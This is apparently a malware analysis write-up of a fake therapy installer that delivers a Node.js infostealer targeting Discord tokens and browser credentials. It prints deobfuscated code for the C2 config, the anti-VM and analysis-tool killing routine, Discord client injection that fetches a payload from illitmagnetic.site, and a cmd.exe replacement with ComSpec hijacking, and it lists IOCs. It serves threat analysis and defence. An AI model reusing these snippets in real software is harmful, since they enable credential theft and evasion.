TL;DR#
A fake therapy installer distributed as an NSIS self-extracting archive
delivers an Electron-based Node.js infostealer. After passing anti-VM
checks, it injects malicious code into Discord clients, harvests Discord
tokens, browser cookies, saved passwords, and autofill data, and
exfiltrates everything to illitmagnetic.site.
Initial Analysis#
It is a NSIS self-extracting archive. An NSIS package is essentially a self-extracting archive coupled with an installation system that supports a scripting language. It contains compressed files, along with installation instructions written in the NSIS scripting language.
1nsis-installer.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, Nullsoft Installer self-extracting archive, 5 sections
27a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b
3imphash: b34f154ec913d2d2c435cbd644e91687The binary contained a digital signature with the program name
Windows Update Assistant
NSIS#
To access the contents without running the installation package, I used 7-Zip.
1$ 7z x nsis-installer.exe -o./extracted/
2Extracting archive: nsis-installer.exe
3...[snip]...
4
5Everything is Ok
6
7Files: 8
8Size: 78250603
9Compressed: 78057262
NSIS supports a plugin system, which consists of DLL files that are placed by default in the $PLUGINSDIR directory.
1.
2├── $PLUGINSDIR
3│ ├── app-32.7z
4│ ├── nsExec.dll
5│ ├── nsis7z.dll
6│ ├── SpiderBanner.dll
7│ ├── StdUtils.dll
8│ ├── System.dll
9│ └── WinShell.dll
10└── $R0
11 └── Uninstall SerenityTherapyInstaller.exe- nsis7z.dll — 7z extraction plugin
- nsExec.dll — command execution plugin
- System.dll — direct WinAPI call plugin
- StdUtils.dll — extended NSIS utilities
- SpiderBanner.dll** — UI plugin
- WinShell.dll — Windows Shell integration plugin
- app-32.7z - main funcionallity
Electron Application#
Unpacking app-32.7z revealed an Electron application — a Chromium and
Node.js runtime packaged as a Windows executable, allowing JavaScript
malware to run as a native process:
1...[snip]...
2├── resources
3│ ├── app.asar
4│ └── elevate.exe
5├── SerenityTherapyInstaller.exe
6...[snip]...The app.asar archive was extracted with asar. The extracted folder contains:
1app.js: JavaScript source, ASCII text, with very long lines (65536), with no line terminators
2node_modules: directory
3package.json: JSON text dataMalware’s dependencies:
1{
2 "name": "SerenityTherapyInstaller",
3 "version": "1.0.0",
4 "main": "app.js",
5 "nodeVersion": "system",
6 "bin": "app.js",
7 "author": "SerenityTherapyInstaller Inc",
8 "license": "ISC",
9 "dependencies": {
10 "@primno/dpapi": "1.1.1",
11 "node-addon-api": "^7.0.0",
12 "sqlite3": "^5.1.6",
13 "systeminformation": "^5.21.22"
14 }
15}Deobfuscation#
app.js was heavily obfuscated with hex-encoded identifiers and arithmetic
string lookups. Deobfuscation with Obfuscator.io produced no usable result.
1var _0x448105 = _0x14c9;
2(function(_0x2f383b, _0x170714) {
3 var _0x5f100f = _0x14c9, _0x3c3f7b = _0x2f383b();
4 while (!![]) {
5 try {
6 var _0x2e3a8b = -parseInt(_0x5f100f(0x1088)) / ...Dynamic Analysis#
The obfuscated script was analyzed using the VS Code Debugger. A version
conflict with the bundled sqlite3 module was identified on first run:

On the second run, the deobfuscated script appeared in the “Loaded Scripts”
panel as <eval> / VM46947589 — 800+ lines of readable JavaScript:


Static Analysis#

getDiscordTokens,discordInjection- harvests Discord tokens and injects malicious code into the Discord clientstealFirefoxTokens- extracts saved session tokens from FirefoxbrowserCookies,getBrowserCookies,getFirefoxCookies— steals cookies across Chromium-based browsers and FirefoxbrowserPasswords,getBrowserPasswords— extracts saved credentials from browser password storesbrowserAutofills,getBrowserAutofills— harvests autofill datatokenRequests,checkToken— validates and exfiltrates harvested tokensnewInjection- generic injection capabilitycheckCmdInstallation— checks for presence of specific tools, likely for persistence or lateral movementkill— terminates processes
C2 config#
Сontained a hardcoded configuration block that revealed the
С2 domain illitmagnetic.site, target Discord user ID, and whether to log out
the victim from Discord after token theft.
1const options = {
2 api: 'https://illitmagnetic.site/api/',
3 user_id: '6270048187',
4 logout_discord: 'false'
5};Anti-VM#
Exits if RAM is under 2GB, hostname matches a hardcoded blocklist of known analysis machines, or kills any recognized analysis tools found in the running process list.
1function checkVm() {
2 if(Math.round(totalmem() / (1024 * 1024 * 1024)) < 2) process.exit(1);
3 if(['bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr', ...
4 ].includes(hostname().toLowerCase())) process.exit(1);
5
6 const tasks = execSync('tasklist');
7 ['wireshark', 'fiddler', 'vboxservice', 'vmtoolsd', 'ida64', 'x32dbg', ...
8 ].forEach((task) => {
9 if(tasks.includes(task))
10 execSync(`taskkill /f /im ${task}.exe`);
11 });
12};Discord Injection#
Fetched a malicious index.js from the C2 and overwrote the legitimate
discord_desktop_core-1/index.js in all installed Discord variants
(Discord, DiscordCanary, DiscordPTB), then restarted the client to
load the injected code:
1async function discordInjection() {
2 [join(LOCALAPPDATA, 'Discord'), join(LOCALAPPDATA, 'DiscordCanary'),
3 join(LOCALAPPDATA, 'DiscordPTB')].forEach(async(dir) => {
4 const data = await fetch(options.api + 'injections', ...);
5 writeFileSync(discord_index, data?.discord);
6 await kill(['discord', 'discordcanary', 'discordptb']);
7 exec(`Update.exe --processStart Discord.exe`);
8 });
9};checkCmdInstallation#
Verified the presence of cmd.exe at C:\Windows\system32\cmd.exe. If
absent — a sandbox or restricted environment indicator — it fetched a
replacement cmd.exe from the C2 and wrote it to %USERPROFILE%\Documents\,
then redirected ComSpec to point to the downloaded binary.
1async function checkCmdInstallation() {
2 if(!existsSync('C:\\Windows\\system32\\cmd.exe')) {
3 const response = await fetch(options.api + 'cmd-file', ...);
4 writeFileSync(join(process.env.USERPROFILE, 'Documents', 'cmd.exe'),
5 Buffer.from(response?.buffer));
6 process.env.ComSpec = join(process.env.USERPROFILE, 'Documents', 'cmd.exe');
7 }
8};Browser Data Collection#
Killed all running browser processes before accessing locked database
files, then collected cookies, saved passwords, and autofill entries
from Chromium-based browsers by decrypting the Local State master key
via DPAPI and decrypting each value with AES-256-GCM. Firefox cookies
were read directly from moz_cookies via SQLite. All collected data was
POSTed to options.api + 'browsers-data'.
newInjection#
Collected system fingerprint data (OS, CPU, RAM, uptime) and the victim’s
external IP via ipinfo.io, then reported the infection to
options.api + 'new-injection' along with the list of successfully
injected Discord clients.
Sandbox#
IOCs#
Files
- nsis-installer.exe
- SHA256: 7a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b
- SerenityTherapyInstaller.exe
Network
- C2 API: https://illitmagnetic.site/api/
- Fingerprint: https://ipinfo.io/json
- Discord API: https://discord.com/api/v10
Registry / Filesystem
- %USERPROFILE%\Documents\cmd.exe — dropped if cmd.exe absent
- Discord discord_desktop_core-1\index.js — overwritten with C2 payload